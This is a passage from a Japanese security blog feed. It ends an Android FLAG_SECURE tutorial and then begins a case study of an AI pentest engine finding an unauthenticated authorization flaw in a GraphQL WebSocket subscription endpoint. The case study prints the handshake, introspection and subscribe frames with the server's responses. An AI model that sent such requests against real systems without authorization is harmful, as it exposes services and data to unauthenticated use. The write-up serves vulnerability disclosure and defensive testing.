&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;clearFlags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WindowManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LayoutParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_SECURE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Hide that fragment or view&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;このパターンなら両方の利点が得られます。一般的なUIのスクリーンショットは引き続き撮れる一方で、本当に機密性の高い場面は保護されます。&lt;/p&gt;
&lt;p&gt;さらに、&lt;strong&gt;ダイアログのみをセキュアにする&lt;/strong&gt;というアプローチもあります。フロー全体の中で機密性の高い部分が、一時的なダイアログだけという場合もあります。たとえば、カード番号の全桁、リカバリーフレーズ、ワンタイムのシークレットを表示するポップアップです。こうした場合は、Activity全体ではなく、ダイアログ自身のウィンドウに&lt;code&gt;FLAG_SECURE&lt;/code&gt;を設定するのが理にかなっていることがあります。ベースの画面はスクリーンショットを撮れるまま、ダイアログの内容はキャプチャに決して写りません。&lt;/p&gt;
&lt;p&gt;どのパターンを選ぶにしても、重要なのは一貫性です。&lt;em&gt;どの&lt;/em&gt;画面や状態を機密とみなすかを定義し、そこに&lt;code&gt;FLAG_SECURE&lt;/code&gt;を適用し、それ以外には手を付けないことです。そうすれば、ユーザーを無作為に驚かせることもなく、リスク低減の効果が最も大きい場所に的を絞ってフラグを適用できます。&lt;/p&gt;
&lt;h2 id="6. 制限事項と誤解"&gt;&lt;strong&gt;6. 制限事項と誤解&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;ここからは、機能と同じくらい重要な部分、つまり&lt;code&gt;FLAG_SECURE&lt;/code&gt;が&lt;em&gt;しない&lt;/em&gt;ことについてです。&lt;/p&gt;
&lt;p&gt;最も大きいのは、&lt;strong&gt;カメラや外部デバイスはブロックしない&lt;/strong&gt;という点です。ユーザーは別のスマートフォン、デジタル一眼レフ、Webカメラなど、好きなものを画面に向けてキャプチャできます。&lt;code&gt;FLAG_SECURE&lt;/code&gt;が制御するのは、Androidの&lt;em&gt;内部&lt;/em&gt;でのソフトウェアによるキャプチャだけです。脅威モデルに、誰かがその場に立って端末を物理的に撮影するケースが含まれているなら、このフラグは役に立ちません。&lt;/p&gt;
&lt;p&gt;次に、&lt;code&gt;FLAG_SECURE&lt;/code&gt;は&lt;strong&gt;データを暗号化したり、その他の方法で保護したりはしません&lt;/strong&gt;。保護するのは画面の表示であり、次のものは保護しません。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ネットワーク通信&lt;/li&gt;
&lt;li&gt;ディスク上のストレージ&lt;/li&gt;
&lt;li&gt;ログ、キャッシュ、バックアップ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;機密データをネットワーク経由で送信するなら、依然としてHTTPSが必要です（そして証明書を正しく検証する必要もあります）。シークレットをディスクに保存するなら、暗号化されたデータベースや&lt;code&gt;EncryptedSharedPreferences&lt;/code&gt;のような暗号化の仕組みが依然として必要です。機密性の高い値をログに記録しているなら、それらのログが中央のサーバーに送られたときに&lt;code&gt;FLAG_SECURE&lt;/code&gt;は助けてくれません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;スコープの問題&lt;/strong&gt;もあります。このフラグはグローバルではなくウィンドウ単位なので、ある経路を保護して別の経路を忘れることが非常に起こりやすいのです。機密データが、&lt;code&gt;FLAG_SECURE&lt;/code&gt;を設定していない別の&lt;code&gt;Activity&lt;/code&gt;やビューからも表示できるなら、その画面は依然としてキャプチャできます。「この一つの画面」ではなく、「この情報が表示されるすべての場所」という観点で考える必要があります。&lt;/p&gt;
&lt;p&gt;もう一つの微妙な点は、&lt;code&gt;FLAG_SECURE&lt;/code&gt;は&lt;strong&gt;過去のキャプチャをさかのぼって保護するわけではない&lt;/strong&gt;ということです。フラグを有効にする前に撮られたスクリーンショットや録画には影響しません。それらは、ローカルのギャラリー、クラウドバックアップ、メッセージアプリなど、ユーザーが保存した場所にそのまま残ります。フラグが適用されるのは、フラグが有効な間のキャプチャの試みだけです。&lt;/p&gt;
&lt;p&gt;最後に、&lt;strong&gt;ユーザー体験とのトレードオフ&lt;/strong&gt;があります。バグの報告、手順の保存、ワークフローの記録にスクリーンショットを多用するユーザーもいます。ユーザーが特に機密だと&lt;em&gt;感じていない&lt;/em&gt;場所でスクリーンショットをブロックすれば、彼らを苛立たせることになります。&lt;code&gt;FLAG_SECURE&lt;/code&gt;を使いすぎると、特にスクリーンショットが許可されない理由を明確に伝えていない場合、アプリが不必要に締め付けられているとユーザーに感じさせるおそれがあります。&lt;/p&gt;
&lt;p&gt;要点をまとめると、&lt;code&gt;FLAG_SECURE&lt;/code&gt;は特定の一つの問題に非常にうまく対処する、焦点を絞ったツールです。銀の弾丸ではありません。その周りには、依然として本格的なセキュリティ設計が必要です。&lt;/p&gt;
&lt;h2 id="7. キャストや外部ディスプレイとの相互作用"&gt;&lt;strong&gt;7. キャストや外部ディスプレイとの相互作用&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;最後に、多くの人を驚かせる注意点があります。画面をキャストやミラーリングしているときの&lt;code&gt;FLAG_SECURE&lt;/code&gt;の挙動です。&lt;/p&gt;
&lt;p&gt;Androidのバージョンや端末によっては、&lt;strong&gt;&lt;code&gt;FLAG_SECURE&lt;/code&gt;が付いたコンテンツが、特定の外部ディスプレイにはまったく表示されないことがあります&lt;/strong&gt;。システムが外部ディスプレイを「セキュアでない」とみなす場合（たとえば、一部のキャスト先やミラーリングされたディスプレイ）、スクリーンショットや録画の場合と本質的に同じロジックが適用されます。&lt;/p&gt;
&lt;p&gt;実際には、画面のミラーリングやキャストのセッション中に次のようなことが起こります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;セキュアなウィンドウが、リモートのディスプレイ上で何もない領域や黒い領域として表示されることがある。&lt;/li&gt;
&lt;li&gt;セキュアでないUIやシステムのクロームは、引き続き表示されることがある。&lt;/li&gt;
&lt;li&gt;セキュアなウィンドウが前面にあるときは常に、キャストされた出力上でアプリのUIの一部が「欠けている」ように見えることがある。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この挙動は、ドキュメントでときどき目にする「ウィンドウのコンテンツがスクリーンショットに写ったり、セキュアでないディスプレイで表示されたりするのを防ぐ」という記述と一致しています。ここでいう「セキュアでないディスプレイ」とは、端末のメイン画面で保証できるのと同じ保証を強制できるとAndroidが完全には信頼していない出力先を簡潔に表したものです。&lt;/p&gt;
&lt;p&gt;アプリがプレゼンテーション、デモ、リモートサポートのシナリオで多く使われるのであれば、セキュアな画面がキャスト時にどう振る舞うかをテストし、それが許容できるかどうかを判断する価値があります。場合によっては、そうした状況向けの代替フローや、少なくとも画面を共有できない理由を説明するわかりやすいメッセージが必要になるかもしれません。&lt;/p&gt;
&lt;h2 id="8. まとめ"&gt;&lt;strong&gt;8. まとめ&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;FLAG_SECURE&lt;/code&gt;（&lt;code&gt;WindowManager.LayoutParams.FLAG_SECURE&lt;/code&gt;）は、「このウィンドウのピクセルをキャプチャさせない」ことを示すAndroidのウィンドウフラグです。ウィンドウに設定すると、標準のスクリーンショットが機能しなくなり、そのウィンドウが表示される場所は画面録画で黒くなり、最近使ったアプリの画面では意味のあるサムネイルが隠され、さらに特定の外部ディスプレイにコンテンツが表示されないようにすることもできます。&lt;/p&gt;
&lt;p&gt;使い方は、重要なウィンドウ、通常は特定のActivityやDialogにフラグを設定し、必要であれば、UIが機密データを表示しなくなった時点で再び解除するというものです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFlags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;WindowManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LayoutParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_SECURE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;WindowManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LayoutParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_SECURE&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// Later, if needed:&lt;/span&gt;
&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;clearFlags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WindowManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LayoutParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_SECURE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;銀行の詳細情報、認証用のシークレット、健康データ、社内ダッシュボード、プライバシーが重要なチャット、キオスクのフローなど、本当に機密性の高い情報や規制対象の情報を表示する画面では、これを検討すべきです。ただし、これがしないことについても明確に理解しておく必要があります。カメラは止められず、何も暗号化せず、自分でそうしない限りグローバルには適用されず、過去のスクリーンショットも消去しません。&lt;/p&gt;
&lt;p&gt;よく考えて使えば、&lt;code&gt;FLAG_SECURE&lt;/code&gt;は、スクリーンショットや画面録画を介してピクセルがアプリの外に出ていくという、特定の、しかも非常によくある漏えいを塞ぐのにとても便利な方法です。これはAndroidのセキュリティのすべてではありません。しかし、適切な画面においては、ぜひとも取り入れるべき対策です。&lt;/p&gt;</content><category term="Security"/><category term="android"/><category term="security"/><category term="mobile"/></entry><entry><title>AIペンテストエンジンがGraphQLサブスクリプションにおけるクリティカルなWebSocket BFLAを発見</title><link href="https://blog.ostorlab.co/ja/ai-pentest-websocket-bfla-graphql.html" rel="alternate"/><published>2025-12-26T16:20:00+01:00</published><updated>2026-01-28T13:12:00+01:00</updated><author><name>Abderrahim Haddadi</name></author><id>tag:blog.ostorlab.co,2025-12-26:/ja/ai-pentest-websocket-bfla-graphql.html</id><summary type="html">&lt;p&gt;OstorlabのAIペンテストエンジンは、GraphQL WebSocketエンドポイントにおいて、リアルタイム翻訳サービスへの認証なしのアクセスを許す、クリティカルな関数レベルの認可の不備（BFLA）脆弱性を体系的に発見しました。本ケーススタディでは、発見から概念実証に至るまで、AIの段階的なプロセスを詳述します。&lt;/p&gt;</summary><content type="html">&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;現代のWebアプリケーションは、動的なユーザー体験を提供するために、WebSocketのようなリアルタイム通信プロトコルにますます依存しています。GraphQLと組み合わせると、この組み合わせはサブスクリプションを通じて強力かつ効率的なデータ交換をもたらします。しかし、この複雑さは、特に認可をめぐって、新たなアタックサーフェスも生み出します。GraphQLサブスクリプションを保護するには、接続、サブスクリプションの開始、イベントごとのデータフィルタリングという複数の段階で厳格なチェックが必要です。&lt;/p&gt;
&lt;p&gt;OstorlabのAIペンテストエンジンは、この複雑さを乗りこなすように設計されています。手動テストでは見逃しかねない認可のギャップを、体系的に特定し検証します。本記事では、AIエンジンがGraphQL WebSocketエンドポイントにおいて、認証なしのあらゆるユーザーがサブスクリプションを実行して機微なデータを受け取れる、クリティカルな関数レベルの認可の不備（BFLA）脆弱性をどのように発見したかを紹介します。&lt;/p&gt;
&lt;h2 id="graphql websocket bflaに対するostorlab aiペンテスト"&gt;GraphQL WebSocket BFLAに対するOstorlab AIペンテスト&lt;/h2&gt;
&lt;p&gt;エンジンには、高レベルの目標が与えられました。対象アプリケーション&lt;code&gt;REDACTED&lt;/code&gt;でWebSocketサブスクリプションの認可を検証する、というものです。その後に続いたのは、発見、探査、確認という、手順を踏んだ段階的なプロセスでした。&lt;/p&gt;
&lt;h3 id="ステップ1:認証なしのgraphql websocket接続のテスト"&gt;ステップ1：認証なしのGraphQL WebSocket接続のテスト&lt;/h3&gt;
&lt;p&gt;AIの最初のアクションは、最も基本的な挙動をテストすることでした。WebSocketエンドポイントは、認証情報なしで接続を受け入れるのか、という点です。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;/subscriptionsへの、認証なしのWSハンドシェイクのベースライン。目標：GraphQL WebSocketサーバーが認証情報なしで接続を受け入れるかどうかを検証する。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;実行概要：&lt;/strong&gt;
エンジンは、&lt;code&gt;graphql-transport-ws&lt;/code&gt;サブプロトコルを使って&lt;code&gt;wss://REDACTED/subscriptions&lt;/code&gt;に接続しました。空のペイロードを持つ標準的な&lt;code&gt;connection_init&lt;/code&gt;フレームを送信し、&lt;code&gt;Authorization&lt;/code&gt;トークンは一切提供しませんでした。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;結果：&lt;/strong&gt;
サーバーは&lt;code&gt;{"type":"connection_ack"}&lt;/code&gt;で応答しました。実際には、&lt;code&gt;ack&lt;/code&gt;フレームを2つ送信しており、これはAIが指摘した異常です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;結論：&lt;/strong&gt;
認証なしのハンドシェイクが受け入れられました。サーバーは接続フェーズで認証を要求していません。これは、潜在的な弱点を示す最初のシグナルです。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id="ステップ2:認証なしでのgraphqlサブスクリプションスキーマのイントロスペクション"&gt;ステップ2：認証なしでのGraphQLサブスクリプションスキーマのイントロスペクション&lt;/h3&gt;
&lt;p&gt;接続が確立されたことで、AIの次の論理的なステップは、どの操作が利用可能かを突き止めることでした。認証なしのWebSocket接続を通じて、GraphQLのイントロスペクションクエリの実行を試みました。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;WebSocket経由で認証なしのGraphQLイントロスペクションを一度試み、サブスクリプション操作を列挙するとともに、認証なしの操作が許可されているかどうかを検証する。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;実行概要：&lt;/strong&gt;
エンジンは、&lt;code&gt;Subscription&lt;/code&gt;型に焦点を当てたイントロスペクションクエリを含む&lt;code&gt;subscribe&lt;/code&gt;フレームを送信しました。
&lt;code&gt;{"id":"1","type":"subscribe","payload":{"query":"query { __schema { subscriptionType { name fields { name } } } }","variables":{}}}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;結果：&lt;/strong&gt;
サーバーはスキーマデータを含む&lt;code&gt;next&lt;/code&gt;フレームを返し、続いて&lt;code&gt;complete&lt;/code&gt;フレームを返しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"next"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"payload"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"__schema"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"subscriptionType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Subscription"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nt"&gt;"fields"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"generateSamplePromptResult"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"translateContent"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"upsertRewardSubscription"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;結論：&lt;/strong&gt;
サーバーはWebSocket経由での認証なしのイントロスペクションを許可しており、これは重大な情報漏えいです。これにより3つのサブスクリプション操作が明らかになり、エンジンに認可テストの明確な標的を与えました。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id="ステップ3:translatecontentサブスクリプションのbflaテスト"&gt;ステップ3：&lt;code&gt;translateContent&lt;/code&gt;サブスクリプションのBFLAテスト&lt;/h3&gt;
&lt;p&gt;エンジンは、最初の直接テストの対象として&lt;code&gt;translateContent&lt;/code&gt;を選びました。その入力スキーマをイントロスペクションした後、構文的に有効だが無害なサブスクリプションリクエストを作成しました。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;最小限の有効な入力を用いて、&lt;code&gt;translateContent&lt;/code&gt;への認証なしのサブスクリプションを一度試み、認証なしのサブスクリプションが処理されるかどうかを検証する。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;実行概要：&lt;/strong&gt;
エンジンは&lt;code&gt;translateContent&lt;/code&gt;に対する&lt;code&gt;subscribe&lt;/code&gt;フレームを送信し、最小限のペイロードを提供し、実行を確認するために&lt;code&gt;__typename&lt;/code&gt;のみを要求しました。
&lt;code&gt;{"id":"1","type":"subscribe","payload":{"query":"subscription($data: ContentTranslationSubscriptionInput!){ translateContent(data:$data){ __typename } }","variables":{"data":{"targetLanguage":"en","sourceContent":"hello"}}}}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;結果：&lt;/strong&gt;
サーバーはサブスクリプションを受け入れ、2つの&lt;code&gt;next&lt;/code&gt;フレームを返し、続いて&lt;code&gt;complete&lt;/code&gt;を返しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"next"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;"payload"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nt"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nt"&gt;"translateContent"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nt"&gt;"__typename"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"TranslateContentResponse"&lt;/span&gt;&lt;span class="p"&gt;}}}}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"next"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;"payload"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nt"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nt"&gt;"translateContent"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nt"&gt;"__typename"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"TranslateContentResponse"&lt;/span&gt;&lt;span class="p"&gt;}}}}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"complete"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;結論：&lt;/strong&gt;
&lt;code&gt;translateContent&lt;/code&gt;サブスクリプションは、認証なしで正常に処理されました。これは情報漏えいの域を超え、バックエンド関数の能動的かつ認証なしの実行に当たります。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id="ステップ4:graphql websocket bflaを介したデータ露出の検証"&gt;ステップ4：GraphQL WebSocket BFLAを介したデータ露出の検証&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;__typename&lt;/code&gt;を受け取ることは操作が実行されたことを証明しますが、実際のデータを返すのでしょうか。AIの最後のステップは、データ露出を確認するために具体的なフィールドを要求することでした。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;&lt;code&gt;translateContent&lt;/code&gt;から実際のフィールドを要求することで、認証なしでのデータ返却を確認する。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;実行概要：&lt;/strong&gt;
エンジンはサブスクリプションを繰り返し、今回は&lt;code&gt;content&lt;/code&gt;、&lt;code&gt;isFinal&lt;/code&gt;、&lt;code&gt;subscriptionId&lt;/code&gt;の各フィールドを要求しました。
&lt;code&gt;{"id":"1","type":"subscribe","payload":{"query":"subscription($data: ContentTranslationSubscription-Input!){ translateContent(data:$data){ content isFinal subscriptionId } }","variables":{"data":{"targetLanguage":"en","sourceContent":"hello"}}}}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;結果：&lt;/strong&gt;
サーバーは、翻訳されたテキストを含む&lt;code&gt;next&lt;/code&gt;フレームを返しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"next"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"payload"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"translateContent"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hello"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"isFinal"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"subscriptionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"yrpsrqkv7li34w23r25dx4b2"&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"next"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"payload"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
